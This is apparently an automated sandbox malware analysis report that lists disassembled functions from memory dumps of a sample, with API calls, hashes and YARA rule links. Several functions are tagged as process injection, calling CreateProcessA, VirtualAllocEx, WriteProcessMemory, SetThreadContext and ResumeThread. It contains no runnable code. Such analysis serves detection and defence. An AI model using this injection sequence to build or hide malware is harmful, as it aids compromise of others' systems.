Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: ArraySafe$CreateDestroyElementVector
String ID:
API String ID: 3149346722-0
Opcode ID: 68614c6763cbf580450a31ae46b33264ba6efaba0a6c865a1b2fd73c6e21b961
Instruction ID: 9f5fef43cd38db173651beac2150b190fee2f45e75b8c0363ed2eaac0e929b30
Opcode Fuzzy Hash: 68614c6763cbf580450a31ae46b33264ba6efaba0a6c865a1b2fd73c6e21b961
Instruction Fuzzy Hash: 28119D75682205EFD700DF69C888F9ABBB8FF5A311F0481A9E918DB341D730A851CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6F0B6C60 Relevance: 4.5, APIs: 3, Instructions: 35COMMON

Download Yara Rule

APIs

SafeArrayCreateVector.OLEAUT32(00000011,00000000,00000000), ref: 6F0B6C73
SafeArrayAccessData.OLEAUT32(00000000,6F0B6C3C), ref: 6F0B6C87
SafeArrayUnaccessData.OLEAUT32(00000000), ref: 6F0B6CA3

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: ArraySafe$Data$AccessCreateUnaccessVector
String ID:
API String ID: 3963895280-0
Opcode ID: e01dd60b54d8fe3efc6119252e93cfcfa6ce28d0dcd6ad8f281a52e2094762e4
Instruction ID: 9536381d41c1da9b218f2be0b6f989262428055d2779fea7317f0df70389f426
Opcode Fuzzy Hash: e01dd60b54d8fe3efc6119252e93cfcfa6ce28d0dcd6ad8f281a52e2094762e4
Instruction Fuzzy Hash: 78F05E76200218BBEB106F91DC89F973BACFF867A0F008015FA188A245EA71E5508BA1

Uniqueness

Uniqueness Score: -1.00%

Function 6F0D3EB0 Relevance: 3.2, APIs: 2, Instructions: 242COMMON

Download Yara Rule

APIs

Part of subcall function 6F109BB5: _malloc.LIBCMT ref: 6F109BCF

std::exception::exception.LIBCMT ref: 6F0D4042

Part of subcall function 6F109533: std::exception::_Copy_str.LIBCMT ref: 6F10954E

__CxxThrowException@8.LIBCMT ref: 6F0D4059

Part of subcall function 6F10AC75: RaiseException.KERNEL32(?,?,6F109C34,F3D820D6,?,?,?,?,6F109C34,F3D820D6,6F139C90,6F14B974,F3D820D6), ref: 6F10ACB7

Part of subcall function 6F109BB5: std::exception::exception.LIBCMT ref: 6F109C04
Part of subcall function 6F109BB5: std::exception::exception.LIBCMT ref: 6F109C1E
Part of subcall function 6F109BB5: __CxxThrowException@8.LIBCMT ref: 6F109C2F

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw$Copy_strExceptionRaise_mallocstd::exception::_
String ID:
API String ID: 2813683038-0
Opcode ID: f932e7a7a9b0f27adac6d3597592497aa0b9fd6ec4217f81239dbe4c305910c9
Instruction ID: d67b4d8817556b4c8e6ed71a0e133a3977c4b8fdf4abde24369239c81e502318
Opcode Fuzzy Hash: f932e7a7a9b0f27adac6d3597592497aa0b9fd6ec4217f81239dbe4c305910c9
Instruction Fuzzy Hash: C4919EB19043049FD710DF99D881B9AFBF8FF85390F54895EF4149B290E7B1A5048F92

Uniqueness

Uniqueness Score: -1.00%

Function 6F0B62C0 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

Part of subcall function 6F109BB5: _malloc.LIBCMT ref: 6F109BCF

std::exception::exception.LIBCMT ref: 6F0B6466

Part of subcall function 6F109533: std::exception::_Copy_str.LIBCMT ref: 6F10954E

__CxxThrowException@8.LIBCMT ref: 6F0B647D

Part of subcall function 6F10AC75: RaiseException.KERNEL32(?,?,6F109C34,F3D820D6,?,?,?,?,6F109C34,F3D820D6,6F139C90,6F14B974,F3D820D6), ref: 6F10ACB7

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Copy_strExceptionException@8RaiseThrow_mallocstd::exception::_std::exception::exception
String ID:
API String ID: 2299493649-0
Opcode ID: b1f6c573dee1bc35e80fc26743e3f977a4e54592babc5c16dfe7b6e414be052b
Instruction ID: b1165483cd2913475d9f8e0dc6ce8d789ab30d8eb629ca5363fa0b9242bc772d
Opcode Fuzzy Hash: b1f6c573dee1bc35e80fc26743e3f977a4e54592babc5c16dfe7b6e414be052b
Instruction Fuzzy Hash: 42519BB28083409FD310DF58C991B4ABBE4FB85790F80496EF9898B390D772E904CB93

Uniqueness

Uniqueness Score: -1.00%

Function 6F0CD2E0 Relevance: 3.1, APIs: 2, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 6F109BB5: _malloc.LIBCMT ref: 6F109BCF

std::exception::exception.LIBCMT ref: 6F0CD3E8
__CxxThrowException@8.LIBCMT ref: 6F0CD3FF

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Exception@8Throw_mallocstd::exception::exception
String ID:
API String ID: 4063778783-0
Opcode ID: 3d8b51f728e3183ac50aa7e0808c191a521d01781ca0d5beccafbabc1381ce86
Instruction ID: 6024d3fa556cfef97fa5f7cb60c149e17e474adbb4700692906a815ad6fe0a3c
Opcode Fuzzy Hash: 3d8b51f728e3183ac50aa7e0808c191a521d01781ca0d5beccafbabc1381ce86
Instruction Fuzzy Hash: 723159715097059FC704DF28C88099EBBF5BF89364F508A2EF8558B390E731E916CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6F0B8D60 Relevance: 2.6, APIs: 2, Instructions: 78COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000000,6F0B8C13,?,6F0B8CD3,?,6F0B8C13,00000000,?,?,6F0B8C13,?,?), ref: 6F0B8D73
LeaveCriticalSection.KERNEL32(?,?,?,6F0B8CD3,?,6F0B8C13,00000000,?,?,6F0B8C13,?,?), ref: 6F0B8D8C

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 6fe861b768f96347fae396562ed4e7ca5182cf1c0e0513fe4f79b13f8c77fa09
Instruction ID: 6136a5a458adfd089c55c4061af72564afbb1e757ce9ae28174664690475ac46
Opcode Fuzzy Hash: 6fe861b768f96347fae396562ed4e7ca5182cf1c0e0513fe4f79b13f8c77fa09
Instruction Fuzzy Hash: DB21E67520450AAF8B04DF89D890DAAB3FAFFC9210B108549E91687351CB71EE16CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6F0B8BC0 Relevance: 2.6, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,6F0B6890,?), ref: 6F0B8BDD
LeaveCriticalSection.KERNEL32(?), ref: 6F0B8C23

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 02c52584ec8b2f636aea367a1f596d1ff92ed4dc558e3e4b0bd16798fbb7c57e
Instruction ID: a5e60f96ade049147893b5e62725edc3bfba8e02e58d83c95c067ef76c62bc98
Opcode Fuzzy Hash: 02c52584ec8b2f636aea367a1f596d1ff92ed4dc558e3e4b0bd16798fbb7c57e
Instruction Fuzzy Hash: 8901BCB1304505AFC740DFA8D884E9AF3E8FF882107104269E905C7301DB32EDA1CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 061C5FD8 Relevance: 1.8, APIs: 1, Instructions: 323processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 061C62A7

Memory Dump Source

Source File: 00000015.00000002.1049603049.00000000061C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_61c0000_6E11.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: cde56e4792f43e7d32ddd0b15c88b56b8b2dd9e32a648df9b57d69fb448093d2
Instruction ID: 6c7ffcec8f3e59ed64322157ed6ca7e51081f99501d0eb5dc48e89780849a3a7
Opcode Fuzzy Hash: cde56e4792f43e7d32ddd0b15c88b56b8b2dd9e32a648df9b57d69fb448093d2
Instruction Fuzzy Hash: 55C12370D002198FDF64CFA8CC91BEEBBB1BB59310F0095A9E859B7240DB749A85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 061C5FE0 Relevance: 1.8, APIs: 1, Instructions: 321processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 061C62A7

Memory Dump Source

Source File: 00000015.00000002.1049603049.00000000061C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_61c0000_6E11.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 6db88b2a0d959be4cce3a8f40dd86718190a804e225739a3c241731d78326dca
Instruction ID: 688d23e62236a2c77a26e4a3df8d812e72e5f6d540acf80b100c8fbeb13e467a
Opcode Fuzzy Hash: 6db88b2a0d959be4cce3a8f40dd86718190a804e225739a3c241731d78326dca
Instruction Fuzzy Hash: D8C12370D002198FDF64CFA8CC91BEEBBB1BB59310F0095A9E859B7240DB749A85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 061C5C58 Relevance: 1.6, APIs: 1, Instructions: 116injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 061C5D2B

Memory Dump Source

Source File: 00000015.00000002.1049603049.00000000061C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_61c0000_6E11.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 23d5b9241c6a794888a2823359fabc20c8ee9486e920431134676ca058570a04
Instruction ID: 4866c4df321333b066e911f7cac8118e08bc5cd94860be82ecd4e5ae1e04f78f
Opcode Fuzzy Hash: 23d5b9241c6a794888a2823359fabc20c8ee9486e920431134676ca058570a04
Instruction Fuzzy Hash: F441ABB5D012589FCF00CFA9D984AEEFBF5BB59310F24942AE418B7210D738AA55CF64

Uniqueness

Uniqueness Score: -1.00%

Function 061C5C51 Relevance: 1.6, APIs: 1, Instructions: 115injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 061C5D2B

Memory Dump Source

Source File: 00000015.00000002.1049603049.00000000061C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_61c0000_6E11.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: c2be5f1327d17336d7261b46a19b4d70091c51fa47228235da12d72e2667b2f7
Instruction ID: 7d14bde95383a609a06089b0ce0755f19fdfe856aa4298ddd2aa71a046d54b0e
Opcode Fuzzy Hash: c2be5f1327d17336d7261b46a19b4d70091c51fa47228235da12d72e2667b2f7
Instruction Fuzzy Hash: 9241ABB5D012589FCF00CFA9D984AEEFBF1BB59310F24942AE418B7210D338AA55CF54

Uniqueness

Uniqueness Score: -1.00%

Function 061C5DA8 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 061C5E62

Memory Dump Source

Source File: 00000015.00000002.1049603049.00000000061C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_61c0000_6E11.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 6638a687415a5e68342c70dd6f16bc7b0907154bae52098078e05d6b7f658d67
Instruction ID: c899c12af5acb710e79dc5252414a0c7f881e2f0e92510c06b28c770e26c893d
Opcode Fuzzy Hash: 6638a687415a5e68342c70dd6f16bc7b0907154bae52098078e05d6b7f658d67
Instruction Fuzzy Hash: 5441AAB5D00258DFCF10CFAAD984AEEFBB5BB59320F14942AE815B7200D734A945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 061C5DB0 Relevance: 1.6, APIs: 1, Instructions: 106COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 061C5E62

Memory Dump Source

Source File: 00000015.00000002.1049603049.00000000061C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_61c0000_6E11.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 8ee726d428a3539ea32a9437c04363db45c4de79a876a0c65188a9379c5c8eb3
Instruction ID: c8b6295364397efb55b5609878806233926ec7730ce66a6556c8a4730a27d7be
Opcode Fuzzy Hash: 8ee726d428a3539ea32a9437c04363db45c4de79a876a0c65188a9379c5c8eb3
Instruction Fuzzy Hash: CC41A9B5D00258DFCF10CFAAD984AEEFBB5BB59320F14942AE814B7200D734A945CF68

Uniqueness

Uniqueness Score: -1.00%

Function 061C5B38 Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 061C5BE2

Memory Dump Source

Source File: 00000015.00000002.1049603049.00000000061C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_61c0000_6E11.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6eaa8e6593147d7dec2a4a039faf3eb304bf879d47c72d5190fd5604db4b51a2
Instruction ID: f307f3d324ee7be3876938c93a2601cc1184268fb9478adf97a7669c8c6faff9
Opcode Fuzzy Hash: 6eaa8e6593147d7dec2a4a039faf3eb304bf879d47c72d5190fd5604db4b51a2
Instruction Fuzzy Hash: 6C31A7B8D002489FCF10CFA9D980ADEFBB5BB59320F10A42AE814B7310D735A945CF68

Uniqueness

Uniqueness Score: -1.00%

Function 061C5B31 Relevance: 1.6, APIs: 1, Instructions: 100memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 061C5BE2

Memory Dump Source

Source File: 00000015.00000002.1049603049.00000000061C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_61c0000_6E11.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 78779b4161f3c8e9c19834c970dc35c8a46b3b6fa3e2b21025257ffb3aedfd03
Instruction ID: 1f71ea7e9b5c873a4d371412628175fb6c69b82729361470979b9290323d5845
Opcode Fuzzy Hash: 78779b4161f3c8e9c19834c970dc35c8a46b3b6fa3e2b21025257ffb3aedfd03
Instruction Fuzzy Hash: 9E31A8B9D002489FCF10CFA9D980ADEFBB5BF59320F14A42AE814B7210C735A955CF58

Uniqueness

Uniqueness Score: -1.00%

Function 061C5A10 Relevance: 1.6, APIs: 1, Instructions: 94threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,?), ref: 061C5ABF

Memory Dump Source

Source File: 00000015.00000002.1049603049.00000000061C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_61c0000_6E11.jbxd

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: d10e95dc1e749a7299107ddfbbf77d745df317a804b6f1bc7afcb0fa7959f4e4
Instruction ID: 7394dadfa75b083b2f29ac4c4b936f640518e166c9d045d1c328e5c4a4372564
Opcode Fuzzy Hash: d10e95dc1e749a7299107ddfbbf77d745df317a804b6f1bc7afcb0fa7959f4e4
Instruction Fuzzy Hash: E531CEB4D002589FCB14CFAAD984AEEFBF5BF58320F24842AE414B7210C738A945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 061C5A08 Relevance: 1.6, APIs: 1, Instructions: 94threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,?), ref: 061C5ABF

Memory Dump Source

Source File: 00000015.00000002.1049603049.00000000061C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_61c0000_6E11.jbxd

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 0eb4252ec77dda2cd4357e0538238b4f603719a9eee5b518fb925ad233078e3e
Instruction ID: 68494cc66bc4424b3da667141818776eb3f00dc99fc16aa2291faa3f2e3f8be6
Opcode Fuzzy Hash: 0eb4252ec77dda2cd4357e0538238b4f603719a9eee5b518fb925ad233078e3e
Instruction Fuzzy Hash: 2641CDB5D012589FCB14CFA9D984AEEFBF1BF58320F24842AE414B7210C738A985CF64

Uniqueness

Uniqueness Score: -1.00%

Function 6F0B7140 Relevance: 1.6, APIs: 1, Instructions: 92COMMON

Download Yara Rule

APIs

Part of subcall function 6F0D2820: _malloc.LIBCMT ref: 6F0D2871

std::tr1::_Xweak.LIBCPMT ref: 6F0B71D2

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Xweak_mallocstd::tr1::_
String ID:
API String ID: 4085767713-0
Opcode ID: b01b6d6441c63f92d0389fe1c3305e9f644b3eea954a82e4849e7f6e75f91072
Instruction ID: b4e8832bbe478208ec0c7b99cfcd0d024a829c1b98589ca417439ac886b6fec4
Opcode Fuzzy Hash: b01b6d6441c63f92d0389fe1c3305e9f644b3eea954a82e4849e7f6e75f91072
Instruction Fuzzy Hash: 09315EB4A0474A9FCB10CFA9C890BAAB7F5FF49314B108A5DE8159B781D731B905CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0156B16B Relevance: 1.6, APIs: 1, Instructions: 79libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(?), ref: 0156B20A

Memory Dump Source

Source File: 00000015.00000002.1048355079.0000000001560000.00000040.00000800.00020000.00000000.sdmp, Offset: 01560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1560000_6E11.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 10b35293b833e577c8dec9347060dd38788799d9468f2e44190e3b42b44a09b2
Instruction ID: f8d42da2562acfd795fcf4ae332aeadf06fb5e057d2bcfb3575ba64758ab914e
Opcode Fuzzy Hash: 10b35293b833e577c8dec9347060dd38788799d9468f2e44190e3b42b44a09b2
Instruction Fuzzy Hash: E7317AB5D002489FCB14CFA9D984ADEFBF5BB49310F14906AE818B7320D774A945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0156B170 Relevance: 1.6, APIs: 1, Instructions: 78libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(?), ref: 0156B20A

Memory Dump Source

Source File: 00000015.00000002.1048355079.0000000001560000.00000040.00000800.00020000.00000000.sdmp, Offset: 01560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1560000_6E11.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 6147e28e49c8df3328194051a2ef5652324a5250eed6d7e6c9b641a6561f28bf
Instruction ID: bf8b1c3ebec391b49a06e095d048c5d22691fd7c86e4ef472558c9533784c41b
Opcode Fuzzy Hash: 6147e28e49c8df3328194051a2ef5652324a5250eed6d7e6c9b641a6561f28bf
Instruction Fuzzy Hash: 863178B4D002489FCB14CFAAD984ADEFBF5BB49310F14906AE818B7320D774A945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 061C5918 Relevance: 1.6, APIs: 1, Instructions: 73threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 061C599E

Memory Dump Source

Source File: 00000015.00000002.1049603049.00000000061C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_61c0000_6E11.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 8862f663d0aa3ac1f8edd09bd7fead166d23ffc5bad667594aee74fade3ee2b5
Instruction ID: 231251f8fe4510da3997c8f89b0487c65812faccff3e536434c18f7a458a8b53
Opcode Fuzzy Hash: 8862f663d0aa3ac1f8edd09bd7fead166d23ffc5bad667594aee74fade3ee2b5
Instruction Fuzzy Hash: 9631CCB4D012489FCF14CFA9E580AEEFBB5AF58320F14946AE855B7300C734A945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 061C5920 Relevance: 1.6, APIs: 1, Instructions: 73threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 061C599E

Memory Dump Source

Source File: 00000015.00000002.1049603049.00000000061C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: false

Joe Sandbox IDA Plugin

